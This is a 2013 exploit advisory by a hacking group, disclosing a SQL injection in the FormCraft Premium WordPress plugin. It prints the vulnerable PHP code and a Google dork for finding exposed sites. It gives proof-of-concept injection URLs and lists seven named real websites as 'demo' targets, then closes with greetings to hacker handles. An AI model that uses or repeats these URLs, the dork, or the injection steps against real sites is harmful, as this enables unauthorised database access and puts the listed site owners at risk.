WordPress FormCraft Premium SQL Injection

`#########################################  
# Exploit Title : Wordpress FormCraft - Premium Sql Injection Vulnerability  
#  
# Exploit Author : Ashiyane Digital Security Team  
#  
# Google Dork : inurl:/wp-content/plugins/formcraft  
#  
# Software Link : http://prefiles.com/15c9u57aupu2/codecanyon-formcraft-premium-wordpress-form-builder-5335056.zip  
#  
# Vender Home : http://ncrafts.net/formcraft  
#  
# Version : all version  
#  
# Tested on: Windows , Mozilla Firefox  
#  
# Date: 2013/12/8  
#  
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
  
Vulnerable Code  
  
  
<?php   
  
require('../../../wp-blog-header.php');  
  
global $wpdb, $table_subs, $table_builder, $table_info;  
  
$myrows = $wpdb->get_results( "SELECT * FROM $table_builder WHERE id=$_GET[id]", "ARRAY_A" );  
$con = stripslashes($myrows[0]['con']);  
$con = json_decode($con, 1);  
  
$table_info = $wpdb->prefix . "formcraft_info";  
  
  
if ( (!is_user_logged_in() || $_GET['preview']!=true) )  
{  
if (!$con[0]['formpage']=='1')  
{  
exit;  
}  
}  
  
?>  
  
  
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
  
[+] Proof:  
  
[+] http://localhost/wp-content/plugins/formcraft/form.php?id=1-- No Error  
[+] http://localhost/wp-content/plugins/formcraft/form.php?id=1+order+by+12---- Error  
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
  
Location: [Target]/wp-content/plugins/formcraft/form.php?id=[Sql]  
  
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
  
[+] Demo  
  
[+] https://chemweb.bu.edu/reu/wp-content/plugins/formcraft/form.php?id=1  
  
[+] http://www.bjas.in/wp-content/plugins/formcraft/form.php?id=1  
  
[+] http://lifecommunitychurch.com/wp-content/plugins/formcraft/form.php?id=4  
  
[+] http://www.ra-kotz.de/wp-content/plugins/formcraft/form.php?id=16  
  
[+] http://3csvending.com/wp-content/plugins/formcraft/form.php?id=1  
  
[+] http://ffmagicman.com/wp-content/plugins/formcraft/form.php?id=2  
  
[+] http://www.enpowerplayers.com/wp-content/plugins/formcraft/form.php?id=2  
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
  
Milad Hacking  
  
We Love Mohammad  
  
Akarin rozheyi ke to ashiyne bodam  
  
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
Thanks My Top Friends To Ashiyane  
  
hossein19123 | hamionline | Dr4GOn | Milad Hacking | Alireza666 | Amirh03in | Rezahck23 | EB051 | T3rm!nat0r5| AbolfazlKHAAN | Mx2009 | Hacker.Ramin| b0z0rgmehr | C4T | Nc 521 | Alireza Attacker | HAMIDx9 | GNU Linux | BlackhatGH | Angel--D3m0n | B14ckc0d3r | Milad-Bushehr | jooooondost | SHD.N3T | SaiedSoft | Cyb3r_Inj3ct0r | Milwar | Shahram.blackhat | Select | ACC3SS | Wanted2011 | Parsix2013 | CyberHacker   
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
  
tnx admin  
packetstormsecurity.com‏  
To public Exploit  
  
  
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$  
`